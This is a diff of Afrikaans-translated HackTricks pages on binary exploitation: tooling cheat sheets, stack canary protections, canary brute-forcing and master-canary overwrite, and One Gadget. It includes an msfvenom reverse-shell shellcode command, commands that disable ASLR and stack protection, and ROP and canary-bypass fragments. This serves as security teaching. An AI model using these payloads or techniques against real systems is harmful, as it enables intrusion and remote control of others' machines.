@ -15,7 +15,7 @@ Ander maniere om HackTricks te ondersteun:
</details>
## Metasploit
```
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
@ -23,18 +23,22 @@ nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellkodes
```
{% code overflow="wrap" %}
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
{% endcode %}
## GDB
### Installeer
```
```bash
apt-get install gdb
```
### Parameters
Die volgende is die parameters wat gebruik word in die proses van binêre uitbuiting:
### Parameters
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
@ -87,6 +91,8 @@ x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
Jy kan opsioneel hierdie vurk van [**GEF**](https://github.com/bata24/gef) gebruik wat meer interessante instruksies bevat.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -130,7 +136,7 @@ gef➤ pattern search 0x6261617762616176
#### GDB dieselfde adresse
Tydens die foutopsporing sal GDB **effens verskillende adresse hê as die wat deur die binêre lêer gebruik word wanneer dit uitgevoer word.** Jy kan GDB hê om dieselfde adresse te hê deur die volgende te doen:
Tydens die foutopsporing sal GDB **effens verskillende adresse hê as wat deur die binêre lêer gebruik word wanneer dit uitgevoer word.** Jy kan GDB hê om dieselfde adresse te hê deur die volgende te doen:
* `unset env LINES`
* `unset env COLUMNS`
@ -150,25 +156,31 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB bediener
### GDB-bediener
`gdbserver --multi 0.0.0.0:23947` (in IDA moet jy die absolute pad van die uitvoerbare lêer in die Linux-masjien en in die Windows-masjien invul)
## Ghidra
### Vind stak offset
### Vind stokverskuiwing
**Ghidra** is baie nuttig om die **offset** vir 'n **buffer overflow te vind danksy die inligting oor die posisie van die plaaslike veranderlikes.**\
Byvoorbeeld, in die voorbeeld hieronder, dui 'n buffer vloei in `local_bc` aan dat jy 'n offset van `0xbc` benodig. Verder, as `local_10` 'n kanarie koekie is, dui dit aan dat daar 'n offset van `0xac` is om dit vanaf `local_bc` te oorskryf.\
**Ghidra** is baie nuttig om die **verskuiwing** vir 'n **buffer-oorvloei te vind danksy die inligting oor die posisie van die plaaslike veranderlikes.**\
Byvoorbeeld, in die voorbeeld hieronder, dui 'n buffer-vloei in `local_bc` daarop dat jy 'n verskuiwing van `0xbc` benodig. Verder, as `local_10` 'n kanariekoekie is, dui dit daarop dat daar 'n verskuiwing van `0xac` is om dit vanaf `local_bc` te oorskryf.\
_Onthou dat die eerste 0x08 waar die RIP gestoor word, aan die RBP behoort._
![](<../../../.gitbook/assets/image (1058).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Kry elke opcode wat in die program uitgevoer word.
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompileer sonder beskerming\
**-o** --> Uitset\
**-g** --> Stoor kode (GDB sal dit kan sien)\
**-g** --> Berg kode op (GDB sal dit kan sien)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Om die ASLR in Linux af te skakel
**Om 'n shellcode te kompileer:**\
@ -183,25 +195,25 @@ _Onthou dat die eerste 0x08 waar die RIP gestoor word, aan die RBP behoort._
**-D** --> **Ontbind alles** (adres van statiese veranderlike)\
**-s -j .dtors** --> dtors afdeling\
**-s -j .got** --> got afdeling\
\-D -s -j .plt --> **plt** afdeling **ontbinde**\
\-D -s -j .plt --> **plt** afdeling **ontbin**\
**-TR** --> **Herlokasies**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om in GOT te wysig\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om te wysig in GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Adres van 'n statiese veranderlike (hierdie word gestoor in DATA afdeling).
## Kernafleidings
## Core dumps
1. Voer `ulimit -c unlimited` uit voordat jy my program begin
1. Voer `ulimit -c unlimited` uit voordat ek my program begin
2. Voer `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` uit
3. sudo gdb --core=\<path/core> --quiet
## Meer
**ldd uitvoerbare | grep libc.so.6** --> Adres (as ASLR, verander dit dan elke keer)\
**vir i in \`seq 0 20\`; doen ldd \<Ejecutable> | grep libc; done** --> Lus om te sien of die adres baie verander\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset van "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset van "/bin/sh"
**ldd executable | grep libc.so.6** --> Adres (as ASLR, verander dit dan elke keer)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Lus om te sien of die adres baie verander\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Verskuiwing van "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Verskuiwing van "/bin/sh"
**strace uitvoerbare** --> Funksies wat deur die uitvoerbare aangeroep word\
**strace executable** --> Funksies wat deur die uitvoerbare aangeroep word\
**rabin2 -i ejecutable -->** Adres van al die funksies
## **Inmunity debugger**

View file

@ -1,35 +1,34 @@
# Staprooie
# Stack Kanaries
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## **StackGuard en StackShield**
**StackGuard** voeg 'n spesiale waarde bekend as 'n **kanarie** in voor die **EIP (Uitgebreide Instruksie-aanwyser)**, spesifiek `0x000aff0d` (wat nul, nuwe lyn, EOF, karakterskuiwing verteenwoordig) om teen buffer-oorvloeiing te beskerm. Tog bly funksies soos `recv()`, `memcpy()`, `read()`, en `bcopy()` kwesbaar, en dit beskerm nie die **EBP (Basiese Aanwyser)** nie.
**StackGuard** voeg 'n spesiale waarde bekend as 'n **kanarie** in voor die **EIP (Extended Instruction Pointer)**, spesifiek `0x000aff0d` (wat nul, nuwe lyn, EOF, karakterskuiwing verteenwoordig) om teen buffer-oorvloeiing te beskerm. Tog bly funksies soos `recv()`, `memcpy()`, `read()`, en `bcopy()` kwesbaar, en dit beskerm nie die **EBP (Base Pointer)** nie.
**StackShield** neem 'n meer gesofistikeerde benadering as StackGuard deur 'n **Globale Terugkeerstapel** te handhaaf, wat alle terugkeeradres (**EIP's**) stoor. Hierdie opstelling verseker dat enige oorvloeiing geen skade veroorsaak nie, aangesien dit 'n vergelyking tussen gestoorde en werklike terugkeeradresse toelaat om oorvloeiingsgebeurtenisse op te spoor. Daarbenewens kan StackShield die terugkeeradres teen 'n grenswaarde toets om te bepaal of die **EIP** na buite die verwagte data-ruimte wys. Nietemin kan hierdie beskerming omseil word deur tegnieke soos Return-to-libc, ROP (Return-Oriented Programming), of ret2ret, wat aandui dat StackShield ook nie plaaslike veranderlikes beskerm nie.
**StackShield** neem 'n meer gesofistikeerde benadering as StackGuard deur 'n **Globale Terugkeerstapel** te handhaaf, wat alle terugkeeradressse (**EIPs**) stoor. Hierdie opstelling verseker dat enige oorvloeiing geen skade veroorsaak nie, aangesien dit 'n vergelyking tussen gestoorde en werklike terugkeeradressse toelaat om oorvloeiingsgebeure op te spoor. Daarbenewens kan StackShield die terugkeeradres teen 'n grenswaarde toets om te bepaal of die **EIP** na buite die verwagte data-ruimte wys. Nietemin kan hierdie beskerming omseil word deur tegnieke soos Return-to-libc, ROP (Return-Oriented Programming), of ret2ret, wat aandui dat StackShield ook nie plaaslike veranderlikes beskerm nie.
## **Stack Smash Beskerming (ProPolice) `-fstack-protector`:**
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
Hierdie meganisme plaas 'n **kanarie** voor die **EBP**, en herorganiseer plaaslike veranderlikes om buffers by hoër geheue-adresse te posisioneer, sodat hulle nie ander veranderlikes oorskry nie. Dit kopieer ook argumente wat op die stapel bokant plaaslike veranderlikes oorgedra word, en gebruik hierdie kopieë as argumente. Dit beskerm egter nie rye met minder as 8 elemente of buffers binne 'n gebruiker se struktuur nie.
Hierdie meganisme plaas 'n **kanarie** voor die **EBP**, en herorganiseer plaaslike veranderlikes om buffers by hoër geheue-adresse te posisioneer, wat voorkom dat hulle ander veranderlikes oorskryf. Dit kopieer ook argumente wat op die stapel bokant plaaslike veranderlikes oorgedra word veilig en gebruik hierdie kopieë as argumente. Dit beskerm egter nie rye met minder as 8 elemente of buffers binne 'n gebruiker se struktuur nie.
Die **kanarie** is 'n lukrake nommer afgelei van `/dev/urandom` of 'n verstekwaarde van `0xff0a0000`. Dit word in **TLS (Geweerlokale Stoorplek)** gestoor, wat gedeelde geheue-ruimtes oor drade toelaat om draadspesifieke globale of statiese veranderlikes te hê. Hierdie veranderlikes word aanvanklik van die ouerproses gekopieer, en kinderprosesse kan hul data verander sonder om die ouer of broers te beïnvloed. Nietemin, as 'n **`fork()` gebruik word sonder om 'n nuwe kanarie te skep, deel alle prosesse (ouer en kinders) dieselfde kanarie**, wat dit kwesbaar maak. Op die **i386**-argitektuur word die kanarie gestoor by `gs:0x14`, en op **x86\_64**, by `fs:0x28`.
Die **kanarie** is 'n lukrake nommer afgelei van `/dev/urandom` of 'n verstekwaarde van `0xff0a0000`. Dit word in **TLS (Thread Local Storage)** gestoor, wat gedeelde geheue-ruimtes oor drade toelaat om draadspesifieke globale of statiese veranderlikes te hê. Hierdie veranderlikes word aanvanklik van die ouerproses gekopieer, en kinderprosesse kan hul data verander sonder om die ouer of broers en susters te beïnvloed. Nietemin, as 'n **`fork()` gebruik word sonder om 'n nuwe kanarie te skep, deel alle prosesse (ouer en kinders) dieselfde kanarie**, wat dit kwesbaar maak. Op die **i386**-argitektuur word die kanarie gestoor by `gs:0x14`, en op **x86\_64**, by `fs:0x28`.
Hierdie plaaslike beskerming identifiseer funksies met buffers wat kwesbaar is vir aanvalle en spuit kode in die begin van hierdie funksies in om die kanarie te plaas, en aan die einde om sy integriteit te verifieer.
Wanneer 'n webbediener `fork()` gebruik, maak dit 'n brute-force aanval moontlik om die kanarie byte vir byte te raai. Tog maak die gebruik van `execve()` na `fork()` die geheue-ruimte oorskryf, wat die aanval nietig maak. `vfork()` laat die kinderproses toe om sonder duplisering uit te voer totdat dit probeer skryf, waarna 'n duplicaat geskep word, wat 'n ander benadering tot proseskeuring en geheuehantering bied.
Wanneer 'n webbediener `fork()` gebruik, maak dit 'n brute-force aanval moontlik om die kanarie byte vir byte te raai. Tog, deur `execve()` na `fork()` te gebruik, oorskryf dit die geheue-ruimte en maak die aanval nietig. `vfork()` laat die kinderproses toe om sonder duplisering uit te voer totdat dit probeer skryf, waarna 'n duplikaat geskep word, wat 'n ander benadering tot proseskeuring en geheuehantering bied.
### Lengtes
@ -57,26 +56,29 @@ Die minst betekenisvolle byte van beide kanaries is 'n nul byte omdat dit die ee
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
* **Oorskryf van stapel gestoorde aanwysers**
* **Oorskryf stapel gestoorde aanwysers**
Die stapel wat kwesbaar is vir 'n stapel oorvloeiing kan **adresse na strings of funksies bevat wat oorskryf kan word** om die kwesbaarheid te benut sonder om die stapelkanarie te bereik. Kyk:
Die stapel wat kwesbaar is vir 'n stapel oorvloeiing mag **adresse na strings of funksies bevat wat oorskryf kan word** om die kwesbaarheid te benut sonder om die stapelkanarie te bereik. Kyk na:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %}
* **Wysig beide die meester- en draadkanarie**
* **Wysig beide meester- en draadkanarie**
'N Buffer **oorvloeiing in 'n geskroefde funksie** wat met 'n kanarie beskerm word, kan gebruik word om die meesterkanarie van die draad te **verander**. Gevolglik is die mitigasie nutteloos omdat die toets met twee kanaries wat dieselfde is (hoewel gewysig) gebruik word.
'n Buffer **oorvloei in 'n gesitueerde funksie** wat met 'n kanarie beskerm word, kan gebruik word om die meesterkanarie van die draad te **verander**. As gevolg hiervan is die mitigasie nutteloos omdat die toets met twee kanaries wat dieselfde is (hoewel gewysig) gebruik word.
Verder kan 'n buffer **oorvloei in 'n gesitueerde funksie** wat met 'n kanarie beskerm word, gebruik word om die meesterkanarie wat in die TLS gestoor is, te **verander**. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word te bereik (en dus die kanarie) via 'n **bof in die stapel** van 'n draad.\
As gevolg hiervan is die mitigasie nutteloos omdat die toets met twee kanaries wat dieselfde is (hoewel gewysig) gebruik word.\
Hierdie aanval word uitgevoer in die skryfstuk: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* **Wysig die GOT-inskrywing van `__stack_chk_fail`**
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** deur **`mmap`** gestoor word en wanneer 'n **stapel** van 'n **draad** geskep word, word dit ook deur `mmap` gegenereer volgens hierdie, wat die oorvloei moontlik kan maak soos in die vorige skryfstuk getoon.
As die binêre lêer Gedeeltelike RELRO het, kan jy 'n arbitrêre skryf gebruik om die **GOT-inskrywing van `__stack_chk_fail`** te wysig na 'n dummie-funksie wat die program nie blokkeer as die kanarie gewysig word nie.
* **Wysig die GOT-invoer van `__stack_chk_fail`**
As die binêre lêer Gedeeltelike RELRO het, kan jy 'n arbitrêre skryf gebruik om die **GOT-invoer van `__stack_chk_fail`** te wysig om 'n dummie-funksie te wees wat die program nie blokkeer as die kanarie gewysig word nie.
Hierdie aanval word uitgevoer in die skryfstuk: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## Verwysings
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
@ -85,14 +87,14 @@ Hierdie aanval word uitgevoer in die skryfstuk: [https://7rocky.github.io/en/ctf
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -14,20 +14,20 @@ Ander maniere om HackTricks te ondersteun:
</details>
**As jy te doen het met 'n binêre beskerm deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om hulle te omseil.**
**As jy 'n binêre lêer teëkom wat beskerm word deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om dit te omseil.**
![](<../../../.gitbook/assets/image (862).png>)
{% hint style="info" %}
Let daarop dat **`checksec`** dalk nie vind dat 'n binêre beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie.\
Jy kan dit egter handmatig opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stapel gestoor word en hierdie waarde nagegaan word voordat dit afsluit.
Let daarop dat **`checksec`** dalk nie vind dat 'n binêre lêer beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie.\
Jy kan dit egter handmatig opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stapel gestoor word en hierdie waarde voor die uittrede nagegaan word.
{% endhint %}
## Brute force Canary
Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat **kindprosesse vurk elke keer as jy 'n nuwe verbinding met dit tot stand bring** (netwerkdienste), omdat elke keer as jy daarmee verbind **dieselfde kanarie gebruik sal word**.
Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre lêer 'n program is wat **kindprosesse vorm elke keer as jy 'n nuwe verbinding daarheen vestig** (netwerkdienste), omdat elke keer as jy daarmee verbind **dieselfde kanarie gebruik sal word**.
Dan is die beste manier om die kanarie te omseil net om dit **karakter vir karakter te kragtig**, en jy kan uitvind of die gerate kanariebyte korrek was deur te kyk of die program afgesny het of sy gewone vloei voortset. In hierdie voorbeeld **kragtige die funksie 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek gerate byte en 'n slegte byte deur net **te kyk** of 'n **reaksie** terug gestuur word deur die bediener (op 'n ander manier in **ander situasie** kan 'n **try/except** gebruik word):
Dan is die beste manier om die kanarie te omseil net om dit **karakter vir karakter te kragtig**, en jy kan uitvind of die gerate kanariebyte korrek was deur te kyk of die program afgesny het of sy gewone vloei voortset. In hierdie voorbeeld **kragtig die funksie 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek gerate byte en 'n slegte byte deur net **te kyk** of 'n **reaksie** deur die bediener teruggestuur word (op 'n ander manier in **ander situasies** kan 'n **try/except** gebruik word):
### Voorbeeld 1
@ -73,7 +73,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Voorbeeld 2
Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits.\
Merk ook op dat vir hierdie voorbeeld die **program verwag dat eerste 'n byte aangedui word om die grootte van die inset** en die lading.
Merk ook op dat vir hierdie voorbeeld die **program verwag dat eerste 'n byte aandui wat die grootte van die inset** en die lading is.
```python
from pwn import *
@ -118,10 +118,13 @@ log.info(f"The canary is: {canary}")
Drade van dieselfde proses sal ook **die selfde kanarie-token deel**, daarom sal dit moontlik wees om 'n kanarie te **brute-force** as die binêre lêer 'n nuwe draad elke keer as 'n aanval plaasvind, skep.&#x20;
Verder kan 'n buffer **oorvloei in 'n gedraaide funksie** wat beskerm word met 'n kanarie, gebruik word om **die meesterkanarie van die draad te wysig**. As gevolg hiervan is die mitigasie nutteloos omdat die kontrole met twee kanaries wat dieselfde is (hoewel gewysig) gebruik word.\
Verder kan 'n buffer **overflow in 'n gedraaide funksie** wat beskerm word met 'n kanarie, gebruik word om die hoofkanarie wat in die TLS gestoor is, te **verander**. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word (en dus die kanarie) te bereik via 'n **bof in die stok** van 'n draad.\
As gevolg hiervan is die verswakking nutteloos omdat die kontrole gebruik word met twee kanaries wat dieselfde is (hoewel gewysig).\
Hierdie aanval word uitgevoer in die skryfstuk: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Kyk ook na die aanbieding van [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** gestoor word deur **`mmap`** en wanneer 'n **stok** van 'n **draad** geskep word, word dit ook gegenereer deur `mmap` volgens hierdie, wat die oorloop mag toelaat soos in die vorige skryfstuk getoon.
## Ander voorbeelde & verwysings
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64-bits, geen PIE, nx, BF-kanarie, skryf in 'n paar geheue 'n ROP om `execve` te roep en spring daarheen.
* 64-bits, geen PIE, nx, BF-kanarie, skryf in 'n sekere geheue 'n ROP om `execve` te roep en spring daarheen.

View file

@ -24,21 +24,30 @@ Gewoonlik is daar egter sekere beperkings, die mees algemene en maklikste om te
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
Om na die adres aangedui deur One Gadget te gaan, moet jy die basisadres waar `libc` gelaai is, **byvoeg**.
Na die adres wat deur One Gadget aangedui word, moet jy die basisadres waar `libc` gelaai is, **byvoeg**.
{% hint style="success" %}
One Gadget is 'n **groot hulp vir Arbitrary Write 2 Exec tegnieke** en kan **ROP chains vereenvoudig** omdat jy slegs een adres hoef te roep (en aan die vereistes te voldoen).
One Gadget is 'n **groot hulp vir Willekeurige Skryf 2 Uitvoer tegnieke** en kan **ROP-kettinge vereenvoudig** aangesien jy slegs een adres hoef aan te roep (en aan die vereistes te voldoen).
{% endhint %}
## Kwaad Gadget
Van die [**github-opberging**](https://github.com/ChrisTheCoolHut/angry\_gadget): Geïnspireer deur [OneGadget](https://github.com/david942j/one\_gadget) is hierdie instrument in Python geskryf en gebruik [angr](https://github.com/angr/angr) om beperkings vir gadgets te toets wat `execve('/bin/sh', NULL, NULL)` uitvoer\
As jy gadgets van OneGadget uitgeput het om te probeer, gee Angry Gadget baie meer met ingewikkelde beperkings om te probeer!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.